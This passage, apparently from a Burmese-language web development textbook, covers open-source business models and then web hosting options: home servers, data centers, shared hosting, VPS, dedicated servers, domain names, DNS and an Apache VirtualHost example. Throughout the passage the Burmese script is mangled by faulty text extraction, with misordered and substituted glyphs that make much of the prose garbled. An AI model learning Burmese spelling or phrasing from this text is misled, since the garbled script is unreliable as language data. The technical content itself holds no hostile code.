ိတာပ့၊ဲ  ထးူပခားတဲ့  Business  Model  တစ်ခပုဖေစ်လာပါပပ။ီ  IBM  တို့  Google  တို့လိုလပုင်နး်များဟာ  Open
Source  ကုိြ အထးူအားိပးတဲ့ လုပင်နး်များပဖေစ်ပါတယ်။  Java, Apache  စတဲ့  Open Source  နညး်ပညာများဟာ
IBM  ရေဲ့  Business Strategy  အတက်ွြ အထးူအိရေးပါတဲ့ နညး်ပညာများပဖေစ်ိနသလို၊  Chrome, Android  စတဲ့
Open Source နညး်ပညာများဟာ Google ရေဲ့  Business Strategy မာှ အထးူအိရေးပါတဲ့ နညး်ပညာများပဖေစ်ိနပါ
တယ်။ RedHat  လို  Open Source ကုိြ လံုးဝအိပခခထံားပပးီတဲ့ ိငလွညပ်ါတမ်ှု နစ်ှစဉ်ိ ဒါ်လာဘလီယံီနဲခ့ျရီေှိိ နတဲ့
လပုင်နး်ကကီြးများလညး် ရေှိိ နပါတယ်။ Apache, Mozilla, Wikimedia စတဲ့ အဖေွဲအစညး်များဟာလညး် စီးပာွးိရေး
လပုင်နး်ကကီြးများနဲ့ အများ ပပညသူ်တို့ရေဲ့ အိထာက်ြအပံ့နဲ့  Open Source နညး်ပညာများ ကုိြ အရေှိန်အဟနုန်ဲ့ တထီငွ်
ဖေနတ်းီိနအကြတဲ့ အဖေွဲ့အစညး်များ ပဖေစ်အကြပါတယ်။ 

Open Source  ရေဲ့  ရေညရ်ေယ်ွချက်ြ၊ မလူသဘာဝနဲ့ လက်ြရေှိသက်ြိရောက်ြမှုအိပခအိန များကိြု  အအကြမး်ဖေျဉး်ပခုံငုံမသွိား
ိစမယ်လို့ ိမျှာလ်င့်ပါတယ်။ စာဖေတသူ်အိနနဲ့  Open Source Software များကြိန နညး်ပညာများကုိြ ိလ့လာနိုင်
သလို၊  အချို ့  Open Source Project  များမာှ  တက်ြနိုငတ်ဲ့ဘက်ြကြ ပးူိပါင်းပါဝင်ိ ဆာငရ်ေက်ွြ ပခငး်အားပဖေင့်လညး်
ပညာိတတွိုးပာွးလာနိုင်ိ အကြာငး်ကုိြ ထည့်သွငး်ိဖောပ်ပလိုက်ြရေပါတယ်။ 
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ိနာက်ြဆက်ြတွဲ (ခ)
Web Hosting အိအကြာင်း သိိကြာင်းစရော

ကြျွန်ိ တာတ်ို့  တည်ိ ဆာက်ြထားတဲ့  Web App  ိတကုိွြ အများအသံုးပပု  နိုင်ိ အာင်  အငတ်ာနက်ြမာှ လွှင့်တငန်ိုငဖ်ေို့
အတက်ွြ သိရေှိသင့်တဲ့အိပခခံအချက်ြတစ်ချို ့ကုိြလညး် ထည့်သွငး်ိဖောပ်ပိပးချငပ်ါတယ်။

Hosting from Home
အငတ်ာနက်ြကွြနယ်က်ြကကီြးထမဲာှပါဝငတ်ဲ့  Device ိတဟွာ IP Address များကုိြ လပိစ်ာအပဖေစ်သံုးပပးီ အပပနအ်လနှ်
ဆက်ြသွယ်အကြတာပါ။ ကြျွန်ိ တာတ်ို့ကွြနပ်ျူတာမာှ အငတ်ာနက်ြချတိဆ်က်ြထားပပးီ  Public IP  လညး် ရေှိိ နမယ်၊ ပပးီ
ိတာ့  Web  Server  Software  လညး်ထည့်သွငး်ထားမယ်ဆိရုေင၊်  အပခားအငတ်ာနက်ြ  အသုံးပပုသူများကြ   IP
Address ကုိြ အသံုးပပုပပးီ ကြျွန်ိ တာတ်ို့ ကွြနပ်ျူတာကုိြ အငတ်ာနက်ြ Web Server အပဖေစ် ဆက်ြသွယ်အသံုးပပုနိုငမ်ာှ
ပဖေစ်ပါတယ်။ 

သိဘာသဘာဝကုိြသာိဖောပ်ပပခငး်ပဖေစ်ပပီး တပဆ်ငခ်ကုြနက်ြျစရေတိန်ဲ့ ထမိး်သိမး်ပခငး်တာဝနက်ကီြးတဲ့အတက်ွြ  လပုင်နး်
အဖေွဲ့  အစညး်ကကီြးိတနွဲ့  မပဖေစ်မိနလိုအပသူ်များသာ ဒနီညး်နဲ့  Host  လပုအ်ကြပါတယ်။ ကုြနက်ြျစရေတိဆုိ်တာ  Server
ကွြနပ်ျူတာ၊  Server  OS  များ  ဝယ်ယူပခငး်၊  Server  ကုိြ  လျှပစ်စ်မးီအပမရဲေရေှိိ နိစဖေို့  Main  Power  နဲ့  Backup
Power အစီအစဉမ်ျား တပဆ်ငပ်ခငး်၊ အိအးိပးစနစ်များတပဆ်ငပ်ခငး် စတဲ့ကိြစ္စများအတက်ွြ ကုြနက်ြျစရေတိမ်ျား ပဖေစ်
ပါတယ်။ တပဆ်ငလ်ိုက်ြယံုနဲ့ လညး် မပပးီိသးပါဘးူ။  Server ကြ 24/7 Run ိနနိုငဖ်ေို့အတက်ွြ လျှပစ်စ်မီးနဲ့ အိအး
ိပးစနစ်ိတကုိွြ အပမစဲစ်ိဆး ပပငဆ်င်ိ နဖေို့  လိုတဲ့အတက်ွြ  Maintenance  စရေတိက်ြလညး် ထည့်သွငး်စဉ်းစားစရော
တစ်ခု ပဖေစ်ပါတယ်။ လုံပခုံိရေးစနစ်  (CCTV, Security Guard)  ိတကုိွြလညး် တပဆ်ငထ်ားဖေိုလ့ိုနိုငပ်ါိသးတယ်။
ဒ ီလိုအပခ်ျက်ြိတွိ အကြာင့် ကုိြယ်တိုင် အိမမ်ာှ Server ထားပပးီ  Host လုပအ်ကြိလ ့သိပမ်ရေှိပါဘးူ။

Data Center
ဒလီို Infrastructure လိုအပခ်ျက်ြကုိြ ပဖေည့်စွက်ြိပးလာတာကြ Data Center များပဖေစ်ပါတယ်။ Data Center ဆုိတာ
လယ်ွလယ်ွိပပာရေရေင်  Server  ကွြနပ်ျူတာိတထွားရေှိနိုငဖ်ေို့  ိနရောပပငဆ်ငထ်ားပပးီ  လျှပစ်စ်မးီ၊  အိအးိပးစနစ်နဲ့
လုံပခုံိရေး အစီအမမံျားကုိြ အသင့်စီမထံားတဲ့ ိနရောများပဖေစ်ပါတယ်။ ဒါိအကြာင့်  ကြျွန်ိ တာတ်ို့ကြ  Data Center  မာှ
ိနရောငာှးပပးီ  Server  ကွြနပ်ျူတာကုိြ သွားထားနိုငပ်ါတယ်။ ငာှးခိပးရေမာှပဖေစ်ိပမယ့်  Maintenance  ကိြစ္စကုိြ သိပ်
ိခါငး်စားစရော မလိို တာပ့ါဘးူ။ Data Center ိတကုိွြ Colocation Center လ့ုိလညး်ိခါ်အကြပါတယ်။
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ဒနီညး်နဲ့ App ကုိြ Host လုပလ်ိုရေင် Server ကွြနပ်ျူတာတစ်လုံးမာှ လိုအပတ်ဲ့ Setting များပပုလပုပ်ပးီ Data Center
ကုိြ  သွားပို့ထားလိုက်ြယံုပဲ  ပဖေစ်ပါတယ်။  အိသးစိတလ်ိုအပခ်ျက်ြနဲ့  ကုြနက်ြျစရေတိမ်ျားကုိြိတာ့  သက်ြဆိငုရ်ော   Data
Center ကုိြ ဆက်ြသွယ်ိမးပမနး်ဖေို့လိုအပပ်ါတယ်။ 

ဒနီညး်ကြ  Maintenance  သက်ြသာသွားိပမယ့်  Server  ကွြနပ်ျူတာဝယ်ယူရေပခငး်အတက်ွြ  ကုြနက်ြျစရေတိက်ကီြးိန
ိသးသလို၊  Data Center  ငာှးရေမ်းခစရေတိက်ြလညး် မသက်ြသာလပှါဘးူ။ ိနာက်ြပပဿနာတစ်ခကုြ  Data Center
ကြ ိနရောပငဲာှး တာပါ။ Server ကုိြိတာ့ ကုိြယတ်ိုင် Setting လပုရ်ေမာှပဖေစ်လို့ ဒါလညး် စိန်ိ ခါ်မှုတစ်ရေပပ်ဖေစ်လာနိုငပ်ါ
တယ်။  System Administration ကုိြ ိကြာငး်ိကြာငး်နားလညသူ်မသှာ Performance ိကြာငး်ပပးီ လုံပခုံစိတခ်ျရေ
တဲ့ Server Environment ကုိြ ပပငဆ်ငန်ိုငမ်ာှပဖေစ် ပါတယ်။ Apache, PHP နဲ MySQL စတဲ့ လိုအပတ်ဲ့ Software
ိတထွည့်ထား ယံုနဲ့မပပးီိသးပါဘူး။  App File များ ကုိြ အပပငက်ြိနလမှး်စီမနံိုငဖ်ေို့  FTP Setting ိတ ွပပုလပုထ်ား
ဖေို့လိုပါတယ်။ လိုအပတ်ဲ့  Server Update နဲ့  Software Installation များပပုလပုန်ိုငဖ်ေို့  Remote Administration
စနစ်များ ထည့်သွင်း ထားဖေို့လိုနိုငပ်ါတယ်။ Server ကြိန Email ိပးပို့လက်ြခနံိုငဖ်ေို့  Setting ိတ ွပပုလပုထ်ားဖေိုလ့ို
ပါတယ်။  Resource  အသံုး ပပုမှုအိပခအိနကုိြ ိစာင့်အကြည့်နိုငဖ်ေို့  Monitoring  စနစ်ိတ ွထည့်သွငး်ထားရေပါမယ်။
ပဖေစ်ိပါ်လာတဲ့  ပပဿနာများကုိြ  ိလလ့ာပပငဆ်ငန်ိုငဖ်ေို့  Logging  စနစ်ိတ ွ ထည့်သွငး်ထားရေ  ပါမယ်။  စသပဖေင့်
အိသးစတိ ်Setting လုပရ်ေမာှိတ ွရေှိိ နပါတယ်။ 

ဒါိအကြာင့်  Data Center  မာှ  Server  ထားပပးီ  Host  လုပမ်ယ်ဆုိရေင်  System Administration  ပိုငး် ကြျွမး်ကြျင်
သူများရေဲ့  အကူြအညကိီြရုေယူဖေို့လိုမာှ ပဖေစ်ပါတယ်။ 

Hosting Service Provider
ိနာက်ြတစ်နညး်ကြိတာ့ Hosting ဝန်ိ ဆာငမ်ှုများအသံုးပပုပခငး်ပပဲဖေစ်ပါတယ်။ ဒနီညး်ကြိတာ့ Hardware Server
ဝယ်ယူပခငး်ကိြစ္စ တ၊ွ  လိုအပတ်ဲ့  Setting  ပပုလပုပ်ခငး်ကိြစ္စ တ ွ ိခါင်းစားစရောမလိုိ တာပ့ဲ  အငတ်ာနက်ြ  Website
တစ်ခမုာှ Register လုပလ်ိုက်ြယံုနဲ ့Server ငာှးရေမး်အသံုးပပုနိုင်ိ စမာှ ပဖေစ်ပါတယ်။

Hosting  ဝန်ိ ဆာငမ်ှုတစ်ခမုာှ ငာှးရေမး်ခိပးပပးီ  Register  လုပလ်ိုက်ြရေင် ကြျွန်ိ တာတ်ို့ငာှးရေမး်ထားတဲ့  Server  ကုိြ
စီမနံိုင်  တဲ့  Control  Panel  ရေရေှိမာှပဖေစ်ပါတယ်။  အ့ဲဒီ  Control  Panel  ိတဟွာ  Web  Browser  နဲ့  ဝင်ိ ရောက်ြ
အသံုးပပုနိုငတ်ဲ့   Web  App  တစ်မျို းပဖေစ်ပပးီ  App  File  များ  Server  ထတံငပ်ို့ပခငး်/စီမပံခငး်၊   Database  များ
တည်ိ ဆာက်ြပခင်း/  စီမပံခငး်အပါအဝင်  အပခားလပု်ိ ဆာငခ်ျက်ြများပဖေစ်တဲ့  Domain  Name  များစီမပံခငး်၊  Email
Account  များစီမပံခင်း၊  Server  ကုိြ  စီမခံငွ့်ရေှိသူ  User  Account  များသတမ်တှပ်ခငး်၊  Resource  အသံုးပပု  မှု
မတှတ်မး်ရေယူပခငး်၊ စတဲ့ ကိြစ္စရေပမ်ျားကုိြ အလယ်ွတစ်ကူြ စီမနံိုင်ိ အာင် ဖေနတ်းီိပးထားမာှပဖေစ်ပါတယ်။

ပုံ (ခ-ကြ) မာှ DreamHost လ့ုိိခါ်တဲ့ Hosting ဝန်ိ ဆာငမ်ှုလပုင်နး်ကြိပးထားတဲ့ Control Panel ကုိြိဖောပ်ပထား
ပါတယ်။ 

Hosting Server  ငာှးရေမ်းသံုးစဲွိတာမ့ယ်ဆုိရေင်  Share Host, VPS, Dedicated Server  စသပဖေင့် ိရေးွချယ်စရော
အမျို းမျို းရေှိလာ မာှပဖေစ်ပါတယ်။
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ပုံ (ခ-ကြ) DreamHost Control Panel

Share Host ဆုိတာ  Server  တစ်ခလုုံးကုိြငာှးရေမး်ပခငး်မဟတုပ်ဲ  Server  ရေဲ့  အစိတအ်ပိငုး်တစ်ရေပကုိ်ြ ငာှးရေမး်ပခင်း
ပဖေစ်ပါ တယ်။ တနညး်အားပဖေင့် Server OS တစ်ခတုညး်မာှ ကြျွန်ိ တာတ်ို့ App နဲ့အတူ အပခားသူများ ရေဲ့  App ိတွ
လညး် ပးူတွဲတညရ်ေှိိ နနိုငပ်ါတယ်။ ဒါိပမယ် User Account ိတခွွဲထားပပးီ စီမံိ ပးထားမာှ ပဖေစ်လို့ အိပခခအံားပဖေင့်
ကြျွန်ိ တာတ်ို့  File ိတကုိွြ Server မာှ အတတူစ်ကွြရေှိိ နတဲ့အပခားသူများကြ ပမင်ိ တွ့ရေမာှမဟတုသ်လို ကြျွန်ိ တာတ်ို့
ကြ လညး် အပခားသူရေဲ့    File  များကုိြ ပမင်ိ တွ့ရေမာှမဟတုပ်ါဘူး။  Share Host  ိတရွေဲ့  ိကြာငး်တဲ့အချက်ြကြိတာ့
ငာှးရေမး်ခ အလနွ်ိ ဈေးသက်ြသာပခငး်ပဲ ပဖေစ်ပါတယ်။ အားနညး်ချက်ြကြိတာ့ အများနဲ့ိ ဝမျှသံုးိနရေတဲ့ Server ပဖေစ်တဲ့
အတက်ွြ အပပည့် အဝစမီခံငွ့်ရေမာှမဟတုပ်ါဘးူ။ ဥပမာ Software တစ်ခု  Server မာှ ကုိြယ် သိဘာနဲ့ကုိြယ်  Install
လပုလ်ိုက်ြလို့ရေမာှ မဟတုပ်ါဘးူ။ ပပးီိတာ့ ကုိြယ့် Server မာှ ရေှိိ နတဲ့ အပခားသူရေဲ့  App ကြ ပပဿနာရေှိိ နလို့ Server
OS ကုိြထခိိုက်ြ ရေင် ကုိြယ့်  App ကုိြပါ ိရောပပးီထခိိုက်ြ ိစမာှပဖေစ်ပါတယ်။ အိရေးကကီြးတဲ့  App ိတနွဲ့ သိပမ်သင့်ိ တာ်
ိပမယ့်  Personal  Website  များနဲ့  အချို ့လပုင်နး်ငယ်များ  ရေဲ့  Website  များ  အတက်ွြသင့်ိ တာတ်ဲ့  Hosting
ဝန်ိ ဆာင ်မှု ပဖေစ်ပါတယ်။ 

Virtual Private Server လ့ုိိခါ်တဲ့ VPS Hosting ကြိတာ၊့ အိပခခအံားပဖေင့် Share Host နဲ့ တပူါတယ်။  Server
ကွြနပ်ျူတာတစ်ခတုညး်ကုိြိဝမျှသံုးအကြရေပခငး်ပဖေစပ်ါတယ်။  ဒါိပမယ့်  Vitalization  နညး်ပညာများသံုးပပးီ  သီးပခား
Server Operating System များနဲ့ ခွဲိ ပးထားမာှပဖေစ်လို့  Virtual OS တစ်ခလုုံးကုိြ ကုိြယ်တစ်ဦးတညက်ြ အသံုးပပု
ခငွ့်ရေမာှပဖေစ်ပါ တယ်။ Hardware ကုိြ ိဝမျှသံုးထားရေိပမယ့် ကုိြယ်ပိငု်  Server  တစ်ခက့ဲုြသုိ့ အသံုးပပုခငွ့်ရေမာှပဖေစ်တဲ့
အတက်ွြ  VPS  လ့ုိိခါ်တာပဖေစ်ပါတယ်။  သူရေဲ့အားသာချက်ြကြိတာ့  ငာှးရေမခ်သက်ြသာပပးီ  သီးပခား  Server  တစ်ခု
သဖေယ်ွ အသံုးပပုခငွ့်ရေမာှ ပဖေစ်လို့ လိုအပသ်လိုစီမခံငွ့်ရေမာှ ပဖေစ်ပါတယ်။ ကုြနက်ြျစရေတိသ်က်ြသာလိုပပးီ  ကုိြယ့်  Server
မာှ လိုအပတ်ဲ့ Software များ Install လုပပ်ခငး်က့ဲြသုိ့ ကိြစ္စ တ ွိဆာငရ်ေက်ွြလိုရေင ်VPS Hosting မျို းကြ သင့်ိ တာပ်ါ
တယ်။
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Dedicated  Server ကြိတာ့  Server  တစ်ခလုုံးကုိြ  ကုိြယ့်တစ်ိယာက်ြတညး်အတက်ွြ ငာှးရေမး်ိပးထားပခငး်ပဖေစ်ပါ
တယ်။  ဒါိအကြာင့်  ငာှးရေမး်ခလညး်  ိဈေးကကီြးတက်ြပါတယ်။  Colocation  Server  ိလာက်ြ  ကုြနက်ြျစရေတိမ်များပဲ
Colocation Server  တစ်ခက့ဲုြသုိ့ လိုသလိုစီမနံိုင်ိ စမာှပဖေစ်ပါတယ။် ဒလီို  Dedicated Server  ကုိြ ငာှးရေမ်းထားိပ
မယ့် ကုိြယ်တိုငမ်စီမံ လိုပဲ Hosting ဝန်ိ ဆာငမ်ှု ိပးထားတဲ့လပုင်န်းကြ ကြျွမး်ကြျငသူ်များကြ စီမံိ ပးိစလိုရေငလ်ညး်
ထပ်ိ ဆာငး်ဝန်ိ ဆာငခ် ိပးပပးီ ရေယူနိုငပ်ါတယ်။  Managed Hosting လ့ုိိခါ်အကြပါတယ်။  Server  တစ်ခလုုံးကုိြ
ငာှးိပးထားယံုမကြ လိုအပတ်ဲ့ Setting များပပုလပုပ်ခငး်နဲ့ Server Maintenance ကုိြပါရေရေှိနိုင်ိ စမာှပဖေစ်ပါတယ်။ 

ကုိြယ်ရေဲ့လပုင်နး်လိုအပခ်ျက်ြ၊  App  ရေဲ့  Requirement  ိပါ်မတူညပ်ပးီ ိရေးွချယ်အကြရေမာှပါ။  Hosting Plan  နဲ့အတူ
တွဲဖေက်ြစဉး်စားရေမာှကြိတာ့  ခငွ့်ပပုပမာဏ  (Capacity)  များပပဲဖေစ်ပါတယ်။ အချို ့   Hosting  ဝန်ိ ဆာငမ်ှု တ ွကြ
File Storage ပမာဏ ဘယ်ိလာက်ြပခဲငွ့်ပပုမယ်။ Database Storage ပမာဏ ဘယ်ိလာက်ြပခဲငွ့်ပပုမယ။် တစ်လ
အသံုးပပုမှု Network Bandwidth  ဘယ်ိလာက်ြပမာဏထပိဲ ခငွ့်ပပုမယ် စသပဖေင့် ကြန့်သတထ်ားအကြိလရ့ေှိပါတယ်။
တစ်ချို ့လညး်   Email  Account  ဘယ်နစ်ှခပုဲ  တည်ိ ဆာက်ြခငွ့်ပပုမယ်၊  User  Account  ဘယ်နစ်ှခပုခဲငွ့်ပပုမယ်၊
Sub-Domain  အိရေ အတက်ွြ ဘယ်ိလာက်ြပဲ  ခငွ့်ပပုမယ်  စသပဖေင့်  ထပမ်ကံြန့်သတတ်က်ြအကြပပနပ်ါိသးတယ်။  ဒါ
ိအကြာင့်   Hosting  ငာှးရေမး်ဖေို့  ိရေးွချယ်တဲ့အခါ ဘယ်လို  ဝန်ိ ဆာငမ်ှု အမျို းအစားကုိြ  ငာှးရေမး်ဆုိတဲ့ဆံုးပဖေတခ်ျက်ြနဲ့
အတူ သက်ြဆုိငရ်ောဝန်ိ ဆာငမ်ှုရေဲ့  အကြန့်အသတမ်ျားကုိြလညး် ထည့်သွင်းစဉး်စား အကြရေမာှပဖေစ်ပါတယ်။  Share Host
များငာှးရေမး်အသံုးပပုိတာမ့ယ်ဆုိရေင်  ိတာ့  လိုအပတ်ဲ့  Software  များကုိြ  ကုိြယ်တိုငထ်ည့်သွငး်ခငွ့်  ရေမာှမဟတုလ်ို့
ကုိြယ့် App ကြအသံုးပပုထားတဲ့ Language, Database အမျို းအစားနဲ့ အပခားလိုအပခ်ျက်ြများ ကုိြက်ြညီ မှုရေှိမရေှိဆုိတဲ့
အချက်ြကုိြလညး် သတပိပုရေမာှပပဲဖေစ်ပါ တယ်။ 

Domain Name
ကြျွန်ိ တာတ်ို့ ငာှးရေမး်လိုက်ြတဲ့ Hosting Server မာှလညး် ကုိြယ်ပိုင် IP Address တစ်ခရုေှိမာှပဖေစ်ပါတယ်။ ဒါိပမယ့်
IP Address ကြ နပံါတ်ိ တပွဖေစ်တဲ့အတက်ွြ မတှရ်ေခက်ြပါတယ်။ ဒါိအကြာင့် မတှရ်ေလယ်ွတဲ့အမညတ်စ်ခု ိရေးွချယ်သတ်
မတှ်ိ ပးဖေို့  လုိအပလ်ာပါတယ်။  IP  Address  အစား  အငတ်ာနက်ြလပိစ်ာအပဖေစ်  အသံုးပပု  လို့ရေတဲ့  အမညကုိ်ြ
Domain Name လို့ ိခါ်ပါတယ်။ ဥပမာ  -  google.com,  wikipedia.org,  facebook.com စတဲ့အမညမ်ျားဟာ
Domain Name လပိစ်ာများပပဲဖေစ်ပါတယ်။ ဒအီမည်ိ တကုိွြ သိရေှိထားရေင် IP Address ိတသံုွးဖေို့မလိုပဲ သက်ြဆုိငရ်ော
Website  ကုိြ ဆက်ြသွယ်အသံုးပပုနိုငမ်ာှပဖေစ်ပါတယ်။ ကြျွန်ိ တာတ်ို့ အတက်ွြလညး် အလားတလူပိစ်ာအမညတ်စ်ခကုိုြ
ရေယူထားဖေို့လိုပါတယ်။  Hosting  ဝန်ိ ဆာငမ်ှု ပးသူထမံာှ  တစ်ခါတညး် မတှပ်ုံ  တင်ိ အကြးိပးပပးီ  ရေယူနိုင်ိ လရ့ေှိပါ
တယ်။ ဒါမမှဟတုသီ်းပခား Domain Name ဝန်ိ ဆာငမ်ှု ပးသူများထကံြိနလညး် ရေယူနိုငပ်ါတယ်။

Domain  Name  ရေယူဖေိုအ့တက်ွြ  အရေငဆံု်း  ရေယူလိုတဲ့အမည်ိ ရေးွချယ်ရေပါမယ်။  အမညမ်ာှ  Dash  (  -  )  ကြလွဲရေင်
အပခား Special Character ိတပွါဝငလ်ို့မရေပါဘးူ။ အမညတ်စ်ခရုေပပဆိီရုေင် Top-Level Domain (TLD) ိရေးွချယ်
ရေမာှပါ။  .com,  .net,  .org,  .edu,  .gov,  .info,  .name,  .asia,  .biz   စတဲ့  Domain  Name  များိနာက်ြမာှ
ိနာက်ြဆက်ြတွဲ ပါိလရ့ေှိတဲ့ Extension ကုိြ TLD လိုိ့ ခါ်တာပါ။ .gov ကြလွဲရေင ်အပခား TLD ိတထွကဲြ နစ်ှသက်ြရော
ကုိြ ိရေးွချယ်နိုင် ပါတယ်။  .gov  ကြိတာ့ အိမရေကိြန် ပပည်ိ ထာငစု်အစုိးရေအဖေွဲ့များမသှာ မတှပ်ုံတငယူ်နိုငတ်ဲ့  TLD
ပဖေစ်ပါတယ်။   ccTLD  လ့ုိိခါ်တဲ့  နိုငင်ကုိံြယ်စားပပု  TLD  ိတ ွလည်းရေှိပါတယ်။  ဥပမာ  -  .co.uk,  .com.mm,
.au, .sg စသပဖေင့် နိုငင်အံလိုက်ြ သတမ်တှ်ိ ပးထားတဲ့ TLD များပဖေစ်ပါတယ်။ တစ်ချို ့  ccTLD ိတကွြ မညသူ်မဆုိ
ရေယူခငွ့်ရေှိိ ပမယ့် တစ်ချို ့ကြိတာ့ သက်ြဆိငုရ်ောနိုငင်ရံေဲ့  နိုငင်သံားပဖေစ်မသှာ ရေယူခငွ့်ရေှိမာှပဖေစ်ပါတယ်။ 

http://facebook.com/
http://wikipedia.org/
http://google.com/
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အပခားသူ မတှပ်ုံတငထ်ားပခင်းမရေှိိ သးတဲ့ Domain Name ပဖေစ်မလှညး် ကြျွန်ိ တာတ်ို့ကြရေယူနိုငမ်ာှပါ။ ိရေးွချယ်ထား
တဲ့ အမညက်ြ အပခားသူမတှပ်ုံတငရ်ေယူထားပပးီပဖေစ်ိနရေင်ိ တာ့ အပခားအမညတ်စ်ခု ိပပာငး်လစဲဉး်စားဖေို့ လုိအပမ်ာှပဖေစ်
ပါတယ်။ ရေယူတဲ့အခါ မတှပ်ုံတင်ိ အကြးကိြု နစ်ှစဉအ်ိနနဲ့ ိပးသွင်းရေတဲ့သိဘာရေှိပါတယ်။ တစ်နစ်ှ၊ နစ်ှနစ်ှ၊ ဆယ်နစ်ှ
စသပဖေင့် ကကိြုတင်ိ ပးသွငး် ထားလိုရ့ေပါတယ်။

Domain Name ရေယူပပးီပပဆီိုရေင် အ့ဲဒအီမညကုိ်ြကြျွန်ိ တာတ်ို့  Server နဲ့တွဲဖေက်ြိပးဖေို့လိုပါတယ်။ ဥပမာ  ကြျွန်ိ တာ်
တို့ကြ  example.com  ဆုိတဲ့အမညကုိ်ြ  ရေယူထားရေင၊်  example.com အမညန်ဲ့ဆကြသွ်ယ်လာတဲ့  အခါတိုငး်
ကြျွန်ိ တာတ်ို့  Server ထံ ိရောက်ြရေှိိ စလိုတာပါ။ Hosting ငာှးရေမ်းစဉက်ြ Server ကုိြ စီမဖံေိုအ့တက်ွြ Control Panel
တစ်ခရုေရေှိသလိုပဲ Domain Name မတှပ်ုံတငလ်ိုက်ြရေငလ်ညး် Domain Name ကုိြစီမနံိုငတ်ဲ့ Interface တစ်ခရုေရေှိမာှ
ပဖေစ်ပါတယ်။ ပထမဆံုး ကုိြယ့်  Hosting ရေဲ့  DNS Server လပိစ်ာကုိြရောှိဖေရွေပါမယ်။ Hosting Control Panel မာှ
ိဖောပ်ပိလရ့ေှိပါတယ်။ မိတွ့ရေင်  Tech Support ထံ Email ပို့ပပးီိတာ့ိ မးပမနး်နိုငပ်ါတယ်။ DNS Address သိရေပပီ
ဆုိရေင်  Domain Name  စီမတံဲ့  Interface  ကုိြဝငပ်ပီး  DNS Setting  ိနရောမာှ  ရေရေှိထားတဲ့  DNS Address  ကုိြ
ထည့်သွငး်ိပးလိုက်ြရေမာှပဖေစ်ပါတယ်။ ဒလီိုထည့်သွငး်ထားိပးလိုက်ြပခငး် အားပဖေင့် example.com လ့ုိဆက်ြသွယလ်ာ
တဲ့ အခါတိုငး်  ကြျွန်ိ တာတ်ို့ Server ကုိြ ိရောက်ြရေှိလာိစမာှပဖေစ်ပါတယ်။

မတ်ှချကြ် ။ ။ Domain Name System (DNS) ဟာ Phone Book တစခ်နုဲ့တူပါတယ။်  Phone Book ထဲမာှ ဖေနုး်နပံါတ်ကြို
လူအမညန်ဲ့ တဲွမတ်ှထားရေင၊် ိနာင်ိ ခါ်ယဖူေို့အတွကြ် ဖေနုး်နပံါတ်မတှမ်ဖိေို့မလုိိတာပ့ါဘးူ။ လူနာမညက်ြိုအသုံးပပုိခါ်ဆုိနိုငမ်ာှ ပဖေစပ်ါ
တယ။်  DNS  ဟာလညး်  Phone Book  တစခ်လုိုပဲ  IP Address  ိတွနဲ့  Domain Name  ိတွကြို တဲွမတ်ှိပးထားပါတယ။်
Domain Name တစခ်ကုြိုအသုံးပပု ဆကြသ်ယွလုိ်ကြတ့ဲ်အခါ  Server  ရေဲ့လိပစ်ာအမနှပ်ဖေစတ့ဲ်  IP Address  ကြို  DNS Database
မာှ လာိရောကြရ်ောှ ိဖေမွာှပဖေစပ်ပးီ  ရေရေှိလာတ့ဲ  IP Address  အကြို အသုံးပပုပပးီဆကြလ်ကြဆ်ကြသ်ယွမ်ာှပဖေစပ်ါတယ။်  IP Address
တစခ်ု အတွကြ် Domain Name နစှခ်သုုံးခ ုတဲွဖေကြထ်ားလုိလ့ညး် ရေပါတယ။်

Server  ဘက်ြကြလညး်  Setting  တစ်ချို ့  သတမ်တှ်ိ ပးဖေိုလ့ိုပါိသးတယ်။ ဥပမာ  - Apache Setting  မာှ အခလုို
ထည့် သွငး်ိပးဖေို့ လုိနိုငပ်ါတယ။်

<VirtualHost *:*>
  DocumentRoot /example.com
  ServerName example.com
</VirtualHost>

နမနူာအရေ  DocumentRoot အတက်ွြ သတမ်တှထ်ားတဲ့  /example.com အမညန်ဲ့  Folder  တည်ိ ဆာက်ြထား
ိပးဖေို့လိုပါတယ်။  ဒီိ တာမ့ှ  example.com အမညန်ဲ့  Server  ကုိြဆက်ြသွယ်လာတဲ့အခါတိုင်း  Apache  ကြ
/example.com Folder  ထဲကြ  Document  ိတကုိွြိဖောပ်ပိပးမာှပါ။  ဒအီဆင့်ကုိြ  ကုိြယ်တိုငလ်ပုဖ်ေိုိ့ တာ့  မလိုပါ
ဘးူ။  Hosting  ရေဲ့  Control Panel  ကုိြ ဝငပ်ပးီ  Add Domain (သုိမ့ဟတု် အလားတူ) Option  ကြိန Domain
Name ကုိြထည့်သွငး်ိပးလိုက်ြရေင် Hosting ကြ အသင့်ိ ရေးသားထားိပးတဲ့ Script များကြ လိုအပတ်ဲ့ Setting များ
ပဖေည့်စွက်ြပခငး်၊ Folder တည ်ိဆာက်ြပခငး်တိုကုိ့ြ အလို အိလျှာက်ြ လပု်ိ ပးသွားမာှပပဲဖေစ်ပါတယ်။
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Domain Name ရေဲ့  DNS Setting မာှ Hosting Server ရေဲ့  DNS Address ကုိြထည့်သွင်းပပးီပပ၊ီ Server ဘက်ြကြ
လညး် လုိအပတ်ဲ့ Setting ိတ ွပပုလပုပ်ပးီပပဆုိီရေင်ိ တာ့ အငတ်ာနက်ြလပိစ်ာတစ်ခနုဲ့ ဝင်ိ ရောက်ြနိုငတ်ဲ့ Web Server
တစ်ခု ပပငဆ်ငရ်ေရေှိမာှပဖေစ်ပါတယ်။ ဆက်ြလက်ြပပးီ App File များကုိြ Server ထံ Upload လပု်ိ ပးပို့ပခင်း၊ Database
များတည်ိ ဆာက်ြပခငး်၊  Email  Account  များ  တည်ိ ဆာက်ြပခငး်၊  Sub-Domain  များထည့်သွင်းပခငး်  တို့ကုိြ
Hosting ရေဲ့  Control Panel မာှိပးထားတဲ့ Option များကြတစ်ဆင့် ဆက်ြလက်ြိဆာငရ်ေက်ွြနိုငမ်ာှပဖေစ်ပါတယ်။

Conclusion
စမး်သပလ်ိုတယ်ဆုိရေင် Domain Name ိရော Hosting ပါ အခမဲ့ိ ပးတဲ့ ဝန်ိ ဆာငမ်ှုများရေှိပါတယ်။ အငတ်ာနက်ြ မာှ
ရောှိဖေအွကြည့်နိုငပ်ါတယ်။ ဒါိပမယ့် အခမဲ့ဝန်ိဆာငမ်ှု တကွြ ဘာအာမခခံျက်ြမမှိပးလို့ စိတမ်ချရေပါဘးူ။ စမး်သပယံု်
အတက်ွြသာ  အသံုးပပုသင့်ပပီး  လက်ြိတအွသံုးချ  App  ိတအွတက်ွြိတာ့  စိတခ်ျရေတဲ့  Provider  များထကံြ
